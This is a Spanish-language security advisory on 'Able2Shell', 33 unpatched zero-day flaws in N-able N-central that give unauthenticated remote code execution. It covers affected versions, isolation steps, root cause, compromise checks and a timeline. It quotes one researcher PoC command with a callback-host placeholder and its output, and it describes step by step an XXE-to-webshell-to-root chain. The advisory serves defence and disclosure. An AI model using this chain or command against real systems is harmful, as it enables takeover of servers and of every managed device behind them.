N-able N-central RCE: 33 vulnerabilidades zero-day, sin parche (Able2Shell)
Las cadenas Able2Shell de N-able N-central permiten a un atacante no autenticado ejecutar código como nable o root; no existe parche.
Resumen
- Un investigador publicó 33 vulnerabilidades y cuatro cadenas de explotación en N-able N-central, la plataforma de gestión remota de los proveedores de servicios gestionados. Las cadenas llegan a ejecutar código como
nableo root. - El investigador probó N-central Appliance 2026.4.0.31 y afirma que las versiones anteriores probablemente están afectadas. N-able no ha publicado aviso público ni versión corregida.
- N-able desconectó Hosted N-central y pidió a los clientes locales que apagaran sus servidores. La empresa afirma no haber visto indicios de explotación y estar trabajando en un parche urgente.
- Ninguna de las 33 vulnerabilidades de Able2Shell figura en el catálogo Known Exploited Vulnerabilities (KEV) de CISA a 10 de noviembre de 2026. Cinco CVE anteriores de N-central sí figuran (CVE-2025-8875, CVE-2025-8876, CVE-2026-18577, CVE-2026-18556, CVE-2026-86218), por lo que esta línea de producto ya ha sido atacada.
- Aísle N-central de Internet, limite el acceso a la consola a redes de confianza y ejecute las comprobaciones de "¿Cómo compruebo si estuve comprometido?". Consulte "¿Cómo lo corrijo?".
¿Estoy afectado?
Está expuesto cuando se cumplen todas estas condiciones:
- Ejecuta N-able N-central, ya sea el dispositivo local o el servicio alojado.
- La versión del dispositivo es 2026.4.0.31 o anterior. El investigador probó 2026.4.0.31 y afirma que las versiones anteriores y actuales probablemente están afectadas.
- Un atacante puede alcanzar la interfaz web de N-central por la red. La cadena principal no necesita cuenta.
El servicio alojado se ve afectado por la interrupción de N-able, tanto si su espacio era accesible como si no en el momento de la divulgación. N-able dice que desconectó el entorno Hosted N-central por precaución.
N-able no ha publicado aviso público, matriz de versiones corregidas ni comando de comprobación de versión. Anote la versión del dispositivo en la consola y trate cualquier versión 2026.4 como afectada hasta que N-able publique una matriz. El repositorio del investigador nombra la versión probada como 2026.4.0.31.
| Rama | Versiones afectadas | Versión corregida |
|---|---|---|
| N-central Appliance (local) | 2026.4.0.31, probada; las versiones anteriores probablemente están afectadas según el investigador | Ninguna publicada; N-able dice que un parche urgente está en curso |
| Hosted N-central | el servicio alojado de N-able, desconectado | Ninguna; el servicio está fuera de línea |
¿Cómo lo corrijo?
No existe parche. El aislamiento de red es el único control operativo hoy, y cierra las rutas remotas que el investigador demostró.
- Saque el servidor N-central de Internet ahora. Permita el acceso a la consola solo desde una VLAN de gestión, una VPN o una lista fija de direcciones de administración.
- Si el servidor era accesible desde Internet, trátelo como posiblemente comprometido. Conserve sus registros y una imagen del disco para la investigación, luego reconstrúyalo desde una imagen limpia y rote todas las credenciales que almacenaba.
- Vigile la página de estado y el centro de confianza de N-able para el parche urgente. Aplíquelo en cuanto se publique y compare después la versión con la matriz de N-able.
- Elimine o desactive las cuentas de N-central que no reconozca, empezando por cualquier administrador de rol 1002 que cree la cadena del investigador.
- Revise las conexiones salientes del dispositivo y las políticas de sus agentes. N-central puede enviar scripts y comandos a cada equipo inscrito, así que un servidor comprometido pone en riesgo el parque del cliente.
La mitigación tiene límites. El aislamiento impide la explotación por la red. No detiene a un atacante que ya está en la red de gestión ni elimina una cuenta o un JSP que el atacante ya haya creado. Solo una reconstrucción tras una sospecha de compromiso resuelve esos casos.
¿Cuál es la causa raíz?
N-able no ha publicado parche ni código fuente. La causa raíz descrita aquí es el mecanismo que documentó el investigador en el repositorio público Able2Shell: familias de interfaces heredadas confían en la identidad y el estado de sesión que aporta el llamador, y asistentes privilegiados consumen archivos que el usuario nable puede escribir.
El dispositivo expone tres familias de interfaces heredadas junto a la consola moderna: MMS2, MMS3 y ServerEI2. Varias aceptan la identidad desde la petición en lugar de desde una sesión autenticada.
- El analizador de importación de servicio resuelve una entidad externa aportada por el atacante antes de comprobar la sesión de interfaz aportada. Un llamador anónimo puede entonces robar la sesión NCI rotatoria y reutilizar su contexto de confianza local.
- El código de acceso MMS3 se deriva de forma determinista del identificador decimal del dispositivo. Un llamador anónimo puede por tanto fabricar y confirmar un JWT y crear una sesión de dispositivo.
- Los asistentes root consumen configuración de directorios en los que
nablepuede escribir, sin comprobar propiedad, confinamiento ni integridad. El instalador de syslog, el asistente de preactualización y el tratamiento de opciones de sendmail son tres ejemplos que demuestra el investigador.
La prueba de concepto pública muestra la cadena anónima combinada. Este es el comando del investigador, recortado a los argumentos que seleccionan la cadena:
$ python3 anonymous_xxe_nable_rce.py --appliance-id 1807387629 --callback-host <CALLBACK_IP> --user-id 50 --username productadmin@n-able.com --customer-id 1 --create-admin-username <NEW_ADMIN_USERNAME> --create-admin-password '<NEW_ADMIN_PASSWORD>' --command /usr/bin/id
created_admin_id=1290595928
created_admin_login=accepted
created_admin_role_id=1002
created_admin_protected_action=200
uid=992(nable) gid=992(nable) groups=992(nable) context=system_u:system_r:unconfined_service_t:s0
La salida registra ambos resultados: una cuenta de administrador activa con rol 1002, y ejecución de comandos como uid=992(nable).
¿Cómo se explota?
La cadena anónima se ejecuta en cinco pasos, desde una petición no autenticada hasta la ejecución de código como nable.
- El atacante envía una petición anónima de importación de servicio MMS2 cuyo XML referencia un DTD que él controla.
- El analizador resuelve la entidad externa antes de aplicar la sesión de interfaz. La respuesta o la llamada de retorno filtra la sesión NCI rotatoria, y el atacante reutiliza el contexto de confianza local del dispositivo.
- Con ese contexto, el atacante restablece la contraseña de un administrador de producto existente, o crea un nuevo administrador de rol 1002 mediante la misma cadena.
- El atacante inicia sesión y usa una primitiva de escritura de archivos para colocar un JSP ejecutable en la raíz web de Jetty desplegada. La cadena de importación de servicio, el recorrido de versión de SIS GenericFiles y el recorrido de nombre de archivo de File Repository proporcionan cada uno una.
- El JSP se ejecuta como la cuenta de servicio
nable. Desde ahí, el atacante coloca un archivo de configuración en un directorio en el quenablepuede escribir y que consume un asistente root, y el asistente lo ejecuta como root.
El investigador documenta varias otras formas de alcanzar nable o root, entre ellas la inyección de opciones en la notificación de restauración de copia de seguridad, la carga NSP autoverificada y el asistente de preactualización. Las cadenas que parten de un XSS almacenado anónimo en los metadatos de parche MMS3 también llegan a root mediante la inyección de gramática syslog-ng de Audit Export.
El investigador también publicó un desbordamiento de pila autenticado como ProductAdmin en la ruta de comando GenericTCP. Esa prueba de concepto está calibrada para un laboratorio aislado de un solo worker con ASLR desactivado, y sus bytes naturales solo ejecutan el comando fijo ps antes de que el worker falle. Trátela como un resultado de laboratorio, no como un exploit remoto fiable.
¿Cómo se desarrolla el ataque?
Una petición no autenticada alcanza un analizador heredado que resuelve entidades XML antes de comprobar la sesión. La confianza de sesión así obtenida, más una escritura de archivos, termina en ejecución de código como nable, y después en root mediante un asistente privilegiado.
¿Qué puede hacer un atacante?
Un atacante que completa la cadena controla el servidor N-central y, a través de él, los equipos que gestiona. El investigador demuestra ejecución de comandos como nable y como root. También muestra la creación de una cuenta de administrador activa, la divulgación de credenciales de la base de datos de descubrimiento de activos y de credenciales reutilizables de Ecosystem Agent, y la manipulación de los registros de auditoría del control remoto.
Las condiciones forman parte del impacto:
- El atacante necesita alcanzar la interfaz web de N-central por la red. La cadena principal no necesita cuenta ni interacción del usuario.
- Algunas vulnerabilidades individuales necesitan una cuenta ProductAdmin o Technician. Esas cuentas siguen siendo útiles para un atacante que ya ha robado una sesión o restablecido una contraseña.
- La ejecución root mediante el instalador de syslog necesita primero una primitiva de ejecución
nable. El investigador compone los dos pasos; ninguno es un paso autónomo de la red a root. - El desbordamiento de pila GenericTCP necesita una cuenta ProductAdmin y las condiciones de laboratorio del investigador.
N-able afirma que no ha observado explotación de estas vulnerabilidades. Las vulnerabilidades anteriores de N-central son otra cuestión: CISA incluye cinco CVE de N-central en su catálogo Known Exploited Vulnerabilities, lo que demuestra que esta línea de producto ya ha sido atacada.
¿Por qué funciona la corrección?
No hay parche público, así que esta sección describe qué tiene que cambiar una corrección. Un parche que cierre solo una primitiva deja la cadena intacta, porque el investigador combina el robo de sesión, una escritura de archivos y un asistente privilegiado.
Una corrección completa tiene que hacer tres cosas:
- Validar la petición y su sesión antes de que cualquier analizador XML resuelva entidades externas, y rechazar entidades externas en los analizadores de importación de servicio y de servicio personalizado.
- Sustituir el código de acceso MMS3 derivado del identificador del dispositivo por un secreto aleatorio vinculado al dispositivo y rotado, y rechazar las sesiones de dispositivo falsificadas en cada manejador protegido.
- Hacer que cada asistente root verifique la propiedad, la ruta y la integridad de los archivos que consume, para que un directorio escribible por
nableno se convierta en ejecución root.
Hasta que N-able publique esos cambios, el aislamiento es el control que elimina las rutas remotas. No repara un servidor ya comprometido.
¿Cómo compruebo si estuve comprometido?
El investigador no publicó indicadores de compromiso, así que estas comprobaciones buscan el estado que crean las cadenas demostradas. Un hallazgo es una pista, no una prueba.
- Enumere las cuentas de administrador de N-central y busque una cuenta de rol 1002 que usted no creó. La cadena pública crea una y la deja activa salvo que se solicite limpieza.
- Busque en la raíz web desplegada archivos JSP que usted no desplegó. Las primitivas de importación de servicio, SIS y File Repository escriben un JSP ejecutable en el árbol de Jetty.
- Revise los destinos de Audit Export por una entrada
program()que usted no configuró. La inyección de Audit Export añade una y se ejecuta como root. - Revise las tareas programadas y sus parámetros por comandos GenericTCP, identificadores de tarea y recuentos de parámetros que no reconozca. La prueba de concepto GenericTCP arma un comando de 41 parámetros en una tarea.
- Revise los restablecimientos de contraseña y los inicios de sesión de administrador que usted no inició, y correlaciónelos con peticiones anónimas a las interfaces MMS2, MMS3 y ServerEI2.
- Revise las conexiones salientes del dispositivo y de los agentes gestionados hacia hosts que no reconozca.
Un intento fallido puede no dejar rastro. Si alguna comprobación da un resultado, conserve los registros y reconstruya el servidor en lugar de limpiarlo en el sitio.
Cronología
- 2025-08-13: CISA añade CVE-2025-8875 y CVE-2025-8876, dos vulnerabilidades de N-central, a KEV.
- 2026-08-03: CISA añade CVE-2026-18577, una omisión de autenticación y toma de control de cuentas de N-central, a KEV.
- 2026-08-04: CISA añade CVE-2026-18556, una omisión de autenticación de N-central, a KEV.
- 2026-09-08: CISA añade CVE-2026-86218, una inyección de código de N-central antes de autenticación, a KEV.
- 2026-11-09: el investigador publica 33 vulnerabilidades y cuatro cadenas de explotación; N-able desconecta Hosted N-central y pide a los clientes locales que apaguen sus servidores.
Preguntas frecuentes
¿Se explota Able2Shell en entornos reales?
No hay explotación confirmada. N-able dijo que no había observado indicios de explotación activa, y el investigador presenta demostraciones de laboratorio con código de prueba de concepto público. Cinco CVE anteriores de N-central están en KEV de CISA, lo que demuestra que esta línea de producto es un objetivo.
¿Hay parche?
No. N-able dijo que trabajaba en un parche urgente y desconectó el servicio alojado mientras tanto. El investigador afirma que las vulnerabilidades funcionan en la última versión preliminar probada y que no están corregidas.
¿La interrupción del servicio alojado significa que se accedió a mis datos?
N-able no lo ha dicho. La empresa describió la interrupción como una medida de precaución y afirmó que no había observado indicios de explotación. No ha publicado una notificación a clientes ni un informe forense.
¿Los scripts de prueba de concepto necesitan credenciales?
No para la cadena principal. La cadena anónima de importación de servicio no necesita cuenta y puede crear un administrador. Otras entradas necesitan una cuenta ProductAdmin o Technician, que un atacante puede obtener mediante la primera cadena.
¿Están afectadas las versiones anteriores de N-central?
Probablemente. El investigador probó 2026.4.0.31 y escribió que las versiones anteriores deberían estar afectadas, incluida la versión más reciente en el momento de la publicación. N-able no ha publicado una matriz de versiones afectadas.
¿Por qué importa más un compromiso de RMM que la brecha de un servidor aislado?
N-central gestiona equipos de muchas organizaciones clientes. Un servidor comprometido puede enviar scripts, instalar software y abrir sesiones remotas en cada dispositivo inscrito, así que una sola brecha del dispositivo puede exponer todo el parque de un proveedor de servicios gestionados.
Encuentre servidores N-central expuestos con Ostorlab
El descubrimiento de superficie de ataque de Ostorlab inventaría los hosts y dispositivos expuestos a Internet de su parque. Después puede encontrar las consolas N-central que siguen accesibles y sacarlas de la red primero. Es un inventario de hosts expuestos, no una detección de esta cadena de explotación.
Referencias
- Oracle-Security/CVEs, "Able2Shell - N-Central N-Able", las 33 fichas de vulnerabilidad, las cuatro cadenas de explotación y los scripts de prueba de concepto: https://github.com/Oracle-Security/CVEs/tree/main/0-Days/N-Central%20N-Able (comprobado el 10 de noviembre de 2026)
- The Hacker News, "N-able Takes Hosted N-central Offline After Researcher Discloses 33 Zero-Days with PoC Exploits", 10 de noviembre de 2026, la declaración de N-able, los servicios afectados y la divulgación del investigador: https://thehackernews.com/2026/11/n-able-takes-hosted-n-central-offline.html (comprobado el 10 de noviembre de 2026)
- Panel de estado de N-able, el estado del servicio Hosted N-central: https://uptime.n-able.com/ (comprobado el 10 de noviembre de 2026)
- Flujo JSON del catálogo Known Exploited Vulnerabilities de CISA, las cinco entradas de N-central (CVE-2025-8875, CVE-2025-8876, CVE-2026-18577, CVE-2026-18556, CVE-2026-86218): https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (comprobado el 10 de noviembre de 2026)
- Registro CVE-2026-86218, la inyección de código de N-central antes de autenticación: https://www.cve.org/CVERecord?id=CVE-2026-86218 (comprobado el 10 de noviembre de 2026)
- Prueba de concepto de la cadena XXE anónima del investigador: https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/anonymous_xxe_nable_rce.py (comprobado el 10 de noviembre de 2026)
- Prueba de concepto root del instalador de syslog del investigador: https://github.com/Oracle-Security/CVEs/blob/main/0-Days/N-Central%20N-Able/syslog_installer_root_rce.py (comprobado el 10 de noviembre de 2026)